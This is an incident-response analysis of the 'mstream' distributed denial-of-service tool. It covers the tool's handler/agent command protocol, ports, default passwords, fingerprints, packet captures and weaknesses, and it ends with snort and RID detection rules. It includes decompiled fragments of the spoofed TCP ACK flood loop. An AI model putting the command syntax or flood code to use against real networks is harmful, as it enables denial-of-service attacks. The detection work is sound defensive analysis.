COMMAND
mstream
SYSTEMS AFFECTED
DoS (what will say almost all known systems)
PROBLEM
Dave Dittrich made following analyses of the the "mstream"
distributed denial of service attack tool. Actually, following
people were involved: David Dittrich, George Weaver, Sven
Dietrich and Neil Long.
The following is an analysis of "mstream", a distributed denial of
service (DDoS) attack tool, based on the source code of
"stream2.c", a classic point-to-point DoS attack tool. There are
currently seven major code bases of recognized DDoS tools
witnessed in use "in the wild" for executing DDoS attacks:
- trinoo
- Tribe Flood Network (TFN)
- Tribe Flood Network 2000 (tfn2k)
- stacheldraht/stacheldrahtV4
- stacheldraht v2.666
- shaft
- mstream
mstream is more primitive than any of the other DDoS tools.
Examination of reverse engineered and recovered C source code
reveals the program to be in early development stages, with
numerous bugs and an incomplete feature set compared with any of
the other listed tools. The effectiveness of the stream/stream2
attack itself, however, means that it will still be disruptive to
the victim (and agent) networks even with an attack network
consisting of only a hand full of agents.
The reader is advised that modification of the source code can and
would change any of the details of this analysis, such as prompts,
passwords, commands, TCP/UDP port numbers, or supported attack
methods, signatures, and features. In fact, the values of
communication ports have already been seen to differ between
published and "in the wild" code. The handler/agent terminology
used in this analysis was developed at the CERT Distributed System
Intruder Tools workshop held in November 1999, and will be used in
this analysis. It is highly recommended that the CERT workshop
report be read first, as well as background and supporting
information on other DDoS tools.
An mstream agent was discovered in late April 2000 on a
compromised Linux system at a major university. This system was
identified to be flooding packets using forged source addresses,
targeted at over a dozen IP addresses. Since RFC 2267 style
egress filtering was employed on this network, and all 32 bits of
the source addresses were forged, only an extremely small number
of attack packets (matching the internal network blocks) could
have managed to leave the agent's network. The traffic did,
however, cause the router (which served 18 subnets) to become
non-responsive. This means that sites that do egress filtering
may still suffer from these attacks themselves, even if the
intended "victim" receives fewer packets than the attacker(s)
intended. The lesson here is that there is no "quick fix" to
DDoS in the form of simple technical filtering solutions. [The
router manufacturer was briefed and is currently working on
identifying the cause and fixes.]
Another side-effect of taking egress filtering down one level to
that of internal subnets is that rejected packets will not make
it past the router doing the filtering, so the effects of
bandwidth consumption or router disruption will not be felt above
the level of the router doing the filtering (or being saturated).
This means a border router based IDS (e.g., net flows), or one
outside your borders on a DMZ or upstream ISP's network, will not
identify the attempted attacks. Unless you are monitoring the
routers themselves, only user complaints would tip you off to an
attack originating from your network. It also means that packet
level analysis is made more difficult, as it must be done *in
front* of the router doing the filtering in order to capture all
packets. This puts an added burden on network engineers or
incident responders to do packet level dumping, on site in a
router closet, in order to know with a high degree of reliability
what is going on.
A major problem in forensic analysis of these attacks -- whether
successful or blocked by egress filters -- is having policies and
procedures in place to facilitate packet level logging. At least
one site that was a victim of early February 2000 DoS attacks on
eCommerce sites was not prepared for this kind of analysis, and
to this day is not aware of what attack tool was used against
them. They only knew their routers were crashing and relied on
their upstream provider to determine how to block packets to
restore throughput. This results in a major roadblock to
investigation by law enforcement, who have been criticized
heavily by some for their slow response (it is a non-trivial
problem to perform an investigation of a DoS or DDoS attack with
nothing but router or browser response behavioral observations to
go on.) A description of the details of the attack on Yahoo! was
published on Packet Storm Security's web site, but not many other
details were available.
Unlike the high volume mass intrusions witnessed with trinoo, TFN,
and stacheldraht in 1999, this particular mstream network appears
to be in the very early stages of code development and to have
been set up by hand (on both handler and agent systems) with a
slightly modified Linux rootkit version 4 to conceal the presence
of the intruder's activity. For a description of intrusion and
concealment on an agent system, see Appendix D. For a description
of intrusion and concealment on a handler system, see Appendix E.
The network: client(s)-->handler(s)-->agent(s)-->victim(s)
==========================================================
The mstream network, like trinoo and shaft, is made up of one or
more handlers ("master.c") and a large set of agents ("server.c").
Attacker to handler communication is at present unencrypted over
TCP, with handler <-> agent communication unencrypted over UDP.
An mstream network would look like this:
+----------+ +----------+
| attacker | | attacker |
+----------+ +----------+
| |
. . . --+------+---------------+------+----------------+-- . . .
| | |
| | |
+-----------+ +-----------+ +-----------+
| handler | | handler | | handler |
+-----------+ +-----------+ +-----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
| | | | |
| | | | |
+-------+ +-------+ +-------+ +-------+ +-------+
| agent | | agent | | agent | | agent | | agent |
+-------+ +-------+ +-------+ +-------+ +-------+
Communication
=============
Attacker to handler(s): 6723/tcp (in published source)
15104/tcp ("in the wild")
12754/tcp (in recovered source)
Agent to Handler(s): 9325/udp (in published source)
6838/udp ("in the wild")
Handler to agent(s): 7983/udp (in published source)
10498/udp ("in the wild")
Remote control of the mstream handler is accomplished via a TCP
connection to port 6723/tcp (or 15104/tcp, or 12754/tcp, or...).
The handler expects commands to be contained entirely in the data
payload of a single TCP packet, not broken up character by
character in a stream. This means that "telnet" cannot be used
to control a handler, but instead some other client program must
be used to buffer the command line before sending (e.g., a special
command shell or port redirector, netcat [19], etc. -- no special
client was included in the source below).
The traffic over this connection is not encrypted (although it
has been shown in stacheldraht that adding a Blowfish block
cipher is not difficult.) Command lines are space separated
argument lists.
Like trinoo, communication between the handler(s) and agent(s) is
accomplished using UDP datagrams. Agent commands are slash ("/")
separated argument lists, with some multi-item arguments being
colon (":") separated lists.
[It is believed that the difference between attacker <-> handler
communication port numbers between "lsof" output on a system
running an active handler and that in the recovered source code
is due to version differences. That is, the recovered source may
have been an older version than the source used to compile the
handler actually running at the time. Both ports are identified
here, although they are trivial to change to something else (and
were found to be different in the published source]).]
The examined code limits the maximum number of connected attackers
to 3. This may be a protective measure, or possibly a redundant
access measure in case one or more systems used as intermediaries
by the attacker are discovered or otherwise taken out of service.
After connecting, the user must supply the proper password
(default is "N7%diApf!" in the recovered code, and "sex" in the
published code). If the proper password is not given, all
currently connected users are notified of the attempt and the
connection is dropped. If the proper password is given, all
currently connected users are informed of the new session and the
user is presented with a "> " prompt.
Handler Commands
================
The handler commands consist of up to 3 space-delimited fields.
If a connected attacker does not enter a command within 420
seconds, the connection is terminated. (It is assumed "420" was
not chosen simply because 7 minutes is an ideal timeout value. ;)
The handler command set is:
help
Prints the following:
Available commands:
stream stream attack !
servers Prints all known servers.
ping ping all servers.
who tells you the ips of the people logged in
mstream lets you stream more than one ip at a time
servers
- List all currently known agents. The agents may or may not be
active. This is the list of all agents that have sent the
"newserver" command to the handler at some point in time.
who
- Shows the currently connected users.
ping
- Identify remaining active agents. Sends the command "ping" to
all known agents and reports to the connected users as each
"pong" reply is received.
stream <hostname> <seconds>
- Begin an attack against a single host, for the specified
duration. The handler resolves the hostname to an IP address
and sends the command "mstream/arg1:arg1/arg2" to all agents,
where "arg1" is the resolved hosts' IP address twice with a
colon between (this simplifies argument parsing in the agent)
and "arg2" is the duration in seconds.
mstream <ip1:ip2:ip3:...> <seconds>
- Begin an attack against multiple IP addresses, for the specified
duration. The handler sends the command "mstream/arg1/arg2" to
all agents, where "arg1" is the list of colon separated IP
addresses, and "arg2" is the duration in seconds. Also for
simplicity, in this command, there is no host name resolution
(i.e., you MUST specify all targets by a properly formed colon
separated list of IP addresses)
quit
- Terminates the attacker's connection to the handler. It also
reports the termination to the connected users.
Agent Commands
==============
The handler communicates to agents using string based commands
in the data portion of UDP packets. These commands are not
encrypted (although this, too, can easily be changed.) There are
only three agent commands currently. Commands are either a simple
string, or a slash ("/") separated command and argument list.
ping
- Replies to IP address that sent this packet with "pong".
stream/IP/seconds
- Starts streaming at IP address for specified duration in
seconds.
mstream/IP1[:IP2[:IPN]]/seconds
- Starts streaming at all of the colon separated list of IP
addresses for specified duration in seconds.
Even though the agent "in the wild" had two options for accepting
DDoS commands, namely "stream" and "mstream" as in the published
source, only the mstream command is used in the handler to agent
protocol. A simple "stream 192.168.0.100 10" command to the
handler sends the powerful command
mstream/192.168.0.100:192.168.0.100/10
to the agent, when in fact a simple "stream/192.168.0.100/10"
should be generated. It is not clear why this was done, but it
does look like simple algorithms are used for command parsing, so
this might just indicate a "quick and dirty" development process.
Password protection
===================
The handler is password protected, to prevent trivial takeover of
the network handler. The password is not encrypted, just a string
that is compared against the data paylod of the initial packet
as-is. It should be explicitly noted here again that this
program has a feature not found in other DDoS tools, which
informs all connected users of access, sucessful or not, to the
handler(s) by competing parties (black hat or white hat). Thus
it does not matter that you can identify the password string in
the binary, since you can't use it without detection (and can't
simply hijack the TCP session, either, because of the command
buffering described in the Communication section.)
There is no password protection of handler <-> agent communication
but that isn't surprising. As was seen with trinoo, a password in
clear text is not much of a defense and is trivially attacked by
sniffing network traffic.
Fingerprints
============
As mentioned above, command strings between the handler(s) and
agent(s) is visible in packet flows. Visible strings in the
agent (in two truncated columns to save space) are:
ELF mstream
/lib/ld-linux.so.2 ping
GNU pong
__gmon_start__ fork
libc.so.6 init.c
random . . .
getpid server.c
perror strchr@@GLIBC_2.0
getuid packet
malloc getpid@@GLIBC_2.0
recvfrom _DYNAMIC
socket _etext
bind __register_frame_info@@GLIBC_2.0
inet_addr recvfrom@@GLIBC_2.0
__deregister_frame_info _fp_hw
setsockopt perror@@GLIBC_2.0
rand fork@@GLIBC_2.0
strncmp sock
strncpy cksum
sendto random@@GLIBC_2.0
strtok _init
fork malloc@@GLIBC_2.0
memset getppid@@GLIBC_2.0
srand sendto@@GLIBC_2.0
getppid __deregister_frame_info@@GLIBC_2.0
time setsockopt@@GLIBC_2.0
htons time@@GLIBC_2.0
exit _start
atoi forkbg
_IO_stdin_used strlen@@GLIBC_2.0
__libc_start_main stream
strlen strncmp@@GLIBC_2.0
strchr inet_addr@@GLIBC_2.0
__register_frame_info __bss_start
free main
GLIBC_2.0 __libc_start_main@@GLIBC_2.0
PTRh data_start
QVh0 bind@@GLIBC_2.0
Ph% getuid@@GLIBC_2.0
PhG _fini
WVS s_in
[^_ srand@@GLIBC_2.0
WVS nlstr
j(j exit@@GLIBC_2.0
j h atoi@@GLIBC_2.0
j(h _edata
j h in_cksum
j(h _GLOBAL_OFFSET_TABLE_
[^_ free@@GLIBC_2.0
131.247.208.191 _end
129.79.20.202 htons@@GLIBC_2.0
socket send2master
bind memset@@GLIBC_2.0
setsockopt strncpy@@GLIBC_2.0
newserver _IO_stdin_used
stream strtok@@GLIBC_2.0
__data_start __gmon_start__
socket@@GLIBC_2.0 rand@@GLIBC_2.0
Visible strings in the handler are:
% strings -n 3 master Available commands:
socket stream
bind stream attack !
listen servers
setsockopt Prints all known servers.
fcntl ping
You're too idle ! ping all servers.
Connection from %s who
newserver tells you the ips of the people log
New server on %s. mstream
pong lets you stream more than one ip at
Got pong number %d from %s who
%s has disconnected (not auth'd): % Currently Online:
Invalid password from %s. Socket number %d
Password accepted for connection fr [%s]
Lost connection to %s: %s ping
stream Pinging all servers.
Usage: stream <hostname> <seconds> mstream
Unable to resolve %s. Usage: mstream <ip1:ip2:ip3:...> <s
stream/%s/%s MStreaming %s for %s seconds.
Streaming %s for %s seconds. mstream/%s/%s
quit fork
%s has disconnected. Forked into background, pid %d
servers Caught SIGHUP, ignoring.
Server file doesn't exist, creating Caught SIGINT, ignoring.
The following ips are known servers Segmentation Violation, Exiting cle
help Caught unknown signal, This should
commands
The agent (named "rpc.wall" on this system -- this same name was
used for the handler as well) is seen with "lsof" as follows:
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
rpc.wall 588 root cwd DIR 3,2 1024 2 /
rpc.wall 588 root rtd DIR 3,2 1024 2 /
rpc.wall 588 root txt REG 3,3 17016 15765 /usr/bin/rpc.wall
rpc.wall 588 root mem REG 3,2 342206 30771 /lib/ld-2.1.1.so
rpc.wall 588 root mem REG 3,2 4016683 30789 /lib/libc-2.1.1.so
rpc.wall 588 root 0u CHR 5,1 4952 /dev/console
rpc.wall 588 root 1w FIFO 0,0 646 pipe
rpc.wall 588 root 2w FIFO 0,0 647 pipe
rpc.wall 588 root 3u IPv4 656 UDP *:10498
rpc.wall 588 root 4u IPv4 657 UDP *:1044
rpc.wall 588 root 5u IPv4 658 UDP *:1045
rpc.wall 588 root 6u raw 30219 00000000:00FF->00000000:0000 st=07
rpc.wall 588 root 7r FIFO 0,0 648 pipe
rpc.wall 588 root 8u raw 30241 00000000:00FF->00000000:0000 st=07
rpc.wall 588 root 9u CHR 5,1 4952 /dev/console
rpc.wall 588 root 10u IPv4 30244 UDP *:1051
rpc.wall 588 root 11u raw 30245 00000000:00FF->00000000:0000 st=07
rpc.wall 588 root 21w FIFO 0,0 648 pipe
Bugs in the source code for both handler and agent result in an
increasing number of raw sockets and UDP sockets in the agent
(three each are were witnessed on this agent), and an increasing
number of open file handles and UDP sockets in the handler
(hundreds were shown by Andrew Korty). [This is no doubt an
indication that mstream is in the early development stages, so
this signature should not be counted on to identify a handler or
agent running on a system.]
When an agent first starts up, it sends a "newserver" command to
the list of default handlers compiled into it, as seen here with
tcpdump:
00:04:38.530000 192.168.0.20.1081 > 192.168.0.100.6838: udp 9
0x0000 4500 0025 ef75 0000 4011 098a c0a8 0014 E..%.u..@.......
0x0010 c0a8 0064 0439 1ab6 0011 2b63 6e65 7773 ...d.9....+cnews
0x0020 6572 7665 7200 0000 0000 0000 0000 erver.........
If a rootkit is in place (as it was on both handler and agent
systems), you cannot trust the standard operating system commands
to show you the running handler or agent, or their network
connections. The main lesson to be learned from rootkits is that
a large percentage of Unix system administrators will NOT be
skilled enough to get around rootkits. This means a couple
things.
First, and fundamentally, intruders will tend to have an even
greater advantage over unskilled system administrators. It is
becoming ever more important that systems administrators -- Unix,
NT, whatever -- have training as a primary task, not a luxury or
burden to be avoided. The moment of a security incident is NOT
the proper time to catch up on months of missed learning, and
causes undue pressure to take shortcuts to get the system back up
quickly (usually making things MUCH worse).
Second, incident response and forensic investigation may be made
more difficult, if not impossible, as the simple "solution" that
the unskilled Unix administrator will take is to give up an just
re-install the operating system. This ill-advised choice of
action destroys any evidence that may exist on the system and
sets the system up for a subsequent intrusion because the same
security precautions they did not take before the incident will
usually not be taken this time either. All too often, this
action is taken without first seeking advice and before incident
response teams are able to notify the administrator and assist
them in taking the correct steps. All system administrators are
urged to take the time now to prepare to deal with rootkits.
As mentioned above, if an agent receives a UDP packet on port
10498/udp, containing the string "ping" as its data payload (and
if it is not actively streaming at the time), it will reply to
the sending system with a UDP packet on port 6838/udp with the
string "pong" as its data payload. (The trailing zeroes are just
a tcpdump artifact. The payload is clearly 4 bytes.)
00:05:16.457239 192.168.0.100.65364 > 192.168.0.20.10498: udp 5
0x0000 4500 0021 f412 0000 4011 04f1 c0a8 0064 E..!....@......d
0x0010 c0a8 0014 ff54 2902 000d 6ce3 7069 6e67 .....T)...l.ping
0x0020 0a .
00:05:16.458214 192.168.0.20.1083 > 192.168.0.100.6838: udp 4
0x0000 4500 0020 ef8c 0000 4011 0978 c0a8 0014 E.......@..x....
0x0010 c0a8 0064 043b 1ab6 000c 8045 706f 6e67 ...d.;.....Epong
0x0020 0000 0000 0000 0000 0000 0000 0000 ..............
This sequence allows signature matching with programs like
"ngrep", "snort" (see below for snort rules), or scanning for
idle agents using "rid" (see below for a RID template).
The ngrep command string to detect these packets would be:
# ngrep "p[oi]ng" udp port 6838 or udp port 10498
(You will need to tailor this command, or add the other ports
listed above from the published code, to decrease the chance of
false negatives.)
Attack packets have a fixed size of 40 bytes per packet, which
may be on purpose to evade large packet triggers that exist on
some IDSs.
The stream2.c attack floods the victim with TCP ACK packets, using
forged source addresses generated by random() (i.e., any or all
of the four octets will occasionally be zero) and incrementing
source port and sequence numbers, as seen in this code snippet:
. . .
for(i=0;;++i) {
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
++packet.ip.ip_id;
++packet.tcp.th_sport;
++packet.tcp.th_seq;
if (!dstport)
s_in.sin_port = packet.tcp.th_dport = rand();
. . .
During an attack, the following packet signature would be observed
(as seen by tcpdump using a recovered agent binary):
01:39:24.701083 192.168.0.2.65527 > 192.168.0.20.10498: [bad udp cksum 3100!]
udp 24 (ttl 64, id 886)
0x0000 4500 0034 0376 0000 4011 f5dc c0a8 0002 E..4.v..@.......
0x0010 c0a8 0014 fff7 2902 0020 556c 7374 7265 ......)...Ulstre
0x0020 616d 2f31 3932 2e31 3638 2e30 2e31 3030 am/192.168.0.100
0x0030 2f31 300a /10.
01:40:10.132724 192.168.0.2.65526 > 192.168.0.20.10498: [bad udp cksum 3100!]
udp 24 (ttl 64, id 930)
0x0000 4500 0034 03a2 0000 4011 f5b0 c0a8 0002 E..4....@.......
0x0010 c0a8 0014 fff6 2902 0020 556d 7374 7265 ......)...Umstre
0x0020 616d 2f31 3932 2e31 3638 2e30 2e31 3030 am/192.168.0.100
0x0030 2f31 300a /10.
01:41:23.674796 192.168.0.2.65525 > 192.168.0.20.10498: [bad udp cksum 4a00!]
udp 49 (ttl 64, id 1031)
0x0000 4500 004d 0407 0000 4011 f532 c0a8 0002 E..M....@..2....
0x0010 c0a8 0014 fff5 2902 0039 a9b4 6d73 7472 ......)..9..mstr
0x0020 6561 6d2f 3139 322e 3136 382e 302e 313a eam/192.168.0.1:
0x0030 3139 322e 3136 382e 302e 3130 303a 3139 192.168.0.100:19
0x0040 322e 3136 382e 302e 322f 3130 0a 2.168.0.2/10.
01:41:23.675771 arp who-has 192.168.0.1 tell 192.168.0.20
0x0000 0001 0800 0604 0001 0010 5a99 6544 c0a8 ..........Z.eD..
0x0010 0014 0000 0000 0000 c0a8 0001 0000 0000 ................
0x0020 0000 0000 0000 0000 0000 0000 0000 ..............
01:41:23.675772 arp who-has 192.168.0.100 tell 192.168.0.20
0x0000 0001 0800 0604 0001 0010 5a99 6544 c0a8 ..........Z.eD..
0x0010 0014 0000 0000 0000 c0a8 0064 0000 0000 ...........d....
0x0020 0000 0000 0000 0000 0000 0000 0000 ..............
01:41:23.675773 77.172.43.85.38444 > 192.168.0.2.26296: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 50237)
0x0000 4508 0028 c43d 0000 ff06 bdde 4dac 2b55 E..(.=......M.+U
0x0010 c0a8 0002 962c 66b8 ea97 d237 0000 0000 .....,f....7....
0x0020 5010 4000 7c74 0000 0000 0000 0000 P.@.|t........
01:41:23.675774 88.148.222.45.39212 > 192.168.0.2.10342: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 51005)
0x0000 4508 0028 c73d 0000 ff06 fd1d 5894 de2d E..(.=......X..-
0x0010 c0a8 0002 992c 2866 ed97 d237 0000 0000 .....,(f...7....
0x0020 5010 4000 f705 0000 0000 0000 0000 P.@...........
01:41:23.675775 0.18.219.113.39980 > 192.168.0.2.41622: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 51773)
0x0000 4508 0028 ca3d 0000 ff06 555c 0012 db71 E..(.=....U\...q
0x0010 c0a8 0002 9c2c a296 f097 d237 0000 0000 .....,.....7....
0x0020 5010 4000 d213 0000 0000 0000 0000 P.@...........
01:41:23.675776 121.161.140.109.40748 > 192.168.0.2.16749: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 52541)
0x0000 4508 0028 cd3d 0000 ff06 27d1 79a1 8c6d E..(.=....'.y..m
0x0010 c0a8 0002 9f2c 416d f397 d237 0000 0000 .....,Am...7....
0x0020 5010 4000 02b2 0000 0000 0000 0000 P.@...........
01:41:23.675777 79.238.213.72.41516 > 192.168.0.2.46276: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 53309)
0x0000 4508 0028 d03d 0000 ff06 05a9 4fee d548 E..(.=......O..H
0x0010 c0a8 0002 a22c b4c4 f697 d237 0000 0000 .....,.....7....
0x0020 5010 4000 6a32 0000 0000 0000 0000 P.@.j2........
01:41:23.675778 104.24.203.64.42284 > 192.168.0.2.61623: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 54077)
0x0000 4508 0028 d33d 0000 ff06 f486 6818 cb40 E..(.=......h..@
0x0010 c0a8 0002 a52c f0b7 f997 d237 0000 0000 .....,.....7....
0x0020 5010 4000 1a1d 0000 0000 0000 0000 P.@...........
01:41:23.675779 37.60.73.50.43052 > 192.168.0.2.51311: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 54845)
0x0000 4508 0028 d63d 0000 ff06 b671 253c 4932 E..(.=.....q%<I2
0x0010 c0a8 0002 a82c c86f fc97 d237 0000 0000 .....,.o...7....
0x0020 5010 4000 0150 0000 0000 0000 0000 P.@..P........
01:41:23.675780 142.14.73.40.43820 > 192.168.0.2.8979: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 55613)
0x0000 4508 0028 d93d 0000 ff06 4aa9 8e0e 4928 E..(.=....J...I(
0x0010 c0a8 0002 ab2c 2313 ff97 d237 0000 0000 .....,#....7....
0x0020 5010 4000 37e4 0000 0000 0000 0000 P.@.7.........
01:41:23.676748 144.19.212.69.44588 > 192.168.0.2.51668: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 56381)
0x0000 4508 0028 dc3d 0000 ff06 ba86 9013 d445 E..(.=.........E
0x0010 c0a8 0002 ae2c c9d4 0298 d237 0000 0000 .....,.....7....
0x0020 5010 4000 fdff 0000 0000 0000 0000 P.@...........
01:41:23.676749 155.176.45.2.45356 > 192.168.0.2.32793: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 57149)
0x0000 4508 0028 df3d 0000 ff06 532d 9bb0 2d02 E..(.=....S-..-.
0x0010 c0a8 0002 b12c 8019 0598 d237 0000 0000 .....,.....7....
0x0020 5010 4000 dd61 0000 0000 0000 0000 P.@..a........
01:41:23.676750 10.98.211.13.46124 > 192.168.0.2.1995: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 57917)
0x0000 4508 0028 e23d 0000 ff06 3b70 0a62 d30d E..(.=....;p.b..
0x0010 c0a8 0002 b42c 07cb 0898 d237 0000 0000 .....,.....7....
0x0020 5010 4000 3af3 0000 0000 0000 0000 P.@.:.........
01:41:23.676751 214.235.187.89.46892 > 192.168.0.2.14172: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 58685)
0x0000 4508 0028 e53d 0000 ff06 839a d6eb bb59 E..(.=.........Y
0x0010 c0a8 0002 b72c 375c 0b98 d237 0000 0000 .....,7\...7....
0x0020 5010 4000 508c 0000 0000 0000 0000 P.@.P.........
01:41:23.676752 90.193.127.8.47660 > 192.168.0.2.64812: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 59453)
0x0000 4508 0028 e83d 0000 ff06 3916 5ac1 7f08 E..(.=....9.Z...
0x0010 c0a8 0002 ba2c fd2c 0e98 d237 0000 0000 .....,.,...7....
0x0020 5010 4000 3d37 0000 0000 0000 0000 P.@.=7........
01:41:23.676753 160.176.42.60.48428 > 192.168.0.2.17432: . [tcp sum ok]
ack 0 win 16384 [tos 0x8] (ttl 255, id 60221)
0x0000 4508 0028 eb3d 0000 ff06 44f3 a0b0 2a3c E..(.=....D...*<
0x0010 c0a8 0002 bd2c 4418 1198 d237 0000 0000 .....,D....7....
0x0020 5010 4000 ff28 0000 0000 0000 0000 P.@..(........
An attack (only packets including "0" octets are shown) would
similarly be seen with Cisco Net Flows like this:
% grep "[ \.]0[ \.(]" ddos-000415
Apr 15 04:12:08 tcp 82.0.151.5(29497) -> 192.168.10.5(27072), 1 packet
Apr 15 04:12:18 tcp 207.0.149.32(21893) -> 192.168.10.5(3913), 1 packet
Apr 15 04:12:33 tcp 0.147.151.82(10473) -> 10.4.152.237(2810), 1 packet
Apr 15 04:13:39 tcp 60.0.33.36(41079) -> 10.4.152.237(31754), 1 packet
Apr 15 04:14:03 tcp 103.140.148.0(4247) -> 10.4.152.237(29689), 1 packet
Apr 15 04:14:15 tcp 214.1.99.0(46714) -> 10.4.152.237(22524), 1 packet
Apr 15 04:15:11 tcp 10.148.60.0(12276) -> 192.168.10.5(31122), 1 packet
Apr 15 04:15:20 tcp 0.112.67.108(4550) -> 192.168.10.5(63787), 1 packet
Apr 15 04:15:33 tcp 13.0.16.2(39092) -> 10.4.152.237(57998), 1 packet
. . .
Apr 15 06:45:24 tcp 18.167.171.0(54104) -> 10.200.5.8(32779), 1 packet
Apr 15 06:45:52 tcp 0.23.15.38(45621) -> 10.200.5.8(20780), 1 packet
Apr 15 06:46:14 tcp 0.12.109.77(38670) -> 10.200.5.8(47776), 1 packet
Apr 15 07:19:12 tcp 199.120.0.72(64912) -> 10.4.152.237(45151), 1 packet
Apr 15 07:27:37 tcp 0.28.232.21(52533) -> 10.4.152.237(338), 1 packet
Apr 15 07:28:13 tcp 99.61.233.0(20951) -> 10.4.152.237(58427), 1 packet
Apr 15 07:31:23 tcp 195.0.3.111(17193) -> 10.4.152.237(14601), 1 packet
Apr 15 07:32:19 tcp 61.108.245.0(24309) -> 10.4.152.237(32809), 1 packet
It should also be noted that some of the forged source addresses
are broadcast addresses, multicast addresses, or network
addresses, which can have ramifications if packets are directed
back to the flooding systems.
Analysis of the de-compiled agent source code shows the stream2.c
attack is altered slightly to randomize more header fields, with
some static values that can be noted when analyzing network
traffic:
packet.ip.ip_id = rand();
. . .
packet.tcp.th_win = htons(16384);
. . .
packet.tcp.th_seq = random();
. . .
packet.tcp.th_sport = rand();
packet.tcp.th_dport = rand();
. . .
while (time(0) <= endtime) {
if (floodtype != 0) {
i = 0;
while (arg4[i] != NULL) { /* until list exhausted */
if (strchr(arg4[i],'.') != NULL) { /* valid ip */
packet.ip.ip_dst.s_addr = inet_addr(arg4[i]);
cksum.pseudo.daddr = inet_addr(arg4[i]);
s_sin.sin_addr.s_addr = inet_addr(arg4[i]);
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
packet.ip.ip_id++;
packet.tcp.th_sport++;
packet.tcp.th_seq++;
s_in.sin_port = packet.tcp.th_dport = rand();
. . .
}
}
}
}
Weaknesses
==========
Control communication (attacker <-> handler and handler <-> agent)
is not encrypted, and is thus subject to session hijacking and
third-party control, respectively. Agents do not authenticate the
source of commands, so you can easily use the "ping"/"pong"
feature to detect agents that are not currently streaming.
In fact, "pong" is the only response sent back to the handler, and
"newserver" is only sent to handler(s) when the program first
starts. (The installation of the agent described in Appendix D
causes it to be run after each boot. This would mean a set of
"newserver" packets could be detected at this point, although it
is not recommended that rebooting be used as the first step in
verifying an agent installation. It is better to follow the more
thorough forensic analysis techniques detailed in Appendices D and
E to ensure as little evidence as possible is deleted or altered.)
The agent will segmentation fault upon receiving a badly formatted
command, e.g. "stream foo bar". It is conceivable that such
fault generation can disable agents, but they will most likely get
restarted at the next reboot of the host.
Flooding an agent with requests will saturate its file handle
limit and cause it to become unresponsive. Since no notification
or acknowledgement is made to the handler, one can easily send
>1024 commands to the agent. Most floods are short, so it may be
possible to "squeeze in there".
The agent process is single-threaded, implying that it will not
process incoming commands while in mid-flood. This renders any
ideas about remotely crashing or halting a flooding agent
unworkable.
The agent also will, in multi-flood mode, flood all hosts in the
colon-delimited list equally for the same amount of time. This
seems to either implicate packet loss due to congestion or
require that multiple flooding machines with different flood
durations were in play to explain evidence witnessed in argus
flows at third party sites, showing the side-effects of multiple
targets being hit at the same time with spoofed IPs (namely ICMP
"Host Unreachable" packets and TCP RST packets).
One thing that has been witnessed is that when there are multiple
targets which start at the same time there is a tailing-off with
some targets being hit longer than others and the rate of spoofed
packets also seems to decline with time - sort of dwindling.
The handler does not automatically clean up the file containing
the list of known agents. The stream and mstream commands will
blindly send commands to agents that no longer exist but did at
one time.
The code attempts to avoid adding an ip address multiple times to
the list of known agents. However, a bug (common mistake with
continue and nearest loop) causes the check to fail in its
purpose so the same agent will have its ip address newly recorded
in the agent list each time it notifies the handler with
"newserver". As a result, the handler will send ping, stream,
and mstream commands to an agent however many times its ip
address is recorded in the agent list.
In server.c note the declaration:
char *ipps[50]
and the code snippet:
if ((tmpip = strtok(ips, ":")) == NULL) continue;
ipps[0] = (char *) malloc(strlen(tmpip)+2);
strncpy(ipps[0], tmpip, strlen(tmpip)+2);
y = 1;
while ((tmpip = strtok(NULL, ":")) != NULL) {
ipps[y] = (char *)malloc(strlen(tmpip)+2);
strncpy(ipps[y], tmpip, strlen(tmpip)+2);
y++;
}
ipps[y] = NULL;
If an agent receives the mstream command containing a second
argument with greater than 50 colon-separated fields, it will
merrily continue mallocing memory and stuffing the addresses into
ipps well past the array bounds. Could get interesting when the
following code attempts to free the malloced space:
for (y = 0 ; ipps[y] != NULL ; y++) free(ipps[y]);
The list could continue but these are the major ones that affect
visible behavior.
The next logical evolutionary steps
===================================
It is not a stretch to assume that features from other published
DDoS tools will make their way into tools like mstream. Briefly,
some likely enhancements to this code include:
1) Adding source port filtering for connections to handler.
2) Adding authentication between handler and agent.
3) Packet size selection.
4) Flags for flood packets (ACK, RST, NUL, random, whatever).
5) Encryption for attacker<->handler traffic.
6) More obfuscation of embedded commands.
Appendix B - Example snort rules for detecting mstream
======================================================
alert UDP any any -> any 6838 (msg: "IDS100/ddos-mstream-agent-to-handler"; content: "newserver"; )
alert UDP any any -> any 10498 (msg: "IDS101/ddos-mstream-handler-to-agent"; content: "stream/"; )
alert UDP any any -> any 10498 (msg: "IDS102/ddos-mstream-handler-ping-to-agent" ; content: "ping";)
alert UDP any any -> any 10498 (msg: "IDS103/ddos-mstream-agent-pong-to-handler" ; content: "pong";)
alert TCP any any -> any 12754 (msg: "IDS109/ddos-mstream-client-to-handler"; flags: S;)
alert TCP any 12754 -> any any (msg: "IDS110/ddos-mstream-handler-to-client"; content: ">"; flags: AP;)
alert TCP any any -> any 15104 (msg: "IDS111/ddos-mstream-client-to-handler"; flags: S;)
alert TCP any 15104 -> any any (msg: "IDS112/ddos-mstream-handler-to-client"; content: ">"; flags: AP;)
Appendix C - Rid templates for detecting mstream
================================================
start mstream-wild
send udp dport=10498 data="ping"
recv udp dport=6838 data="pong" nmatch=2
end mstream-wild
start mstream-published
send udp dport=7983 data="ping"
recv udp dport=9325 data="pong" nmatch=2
end mstream-published
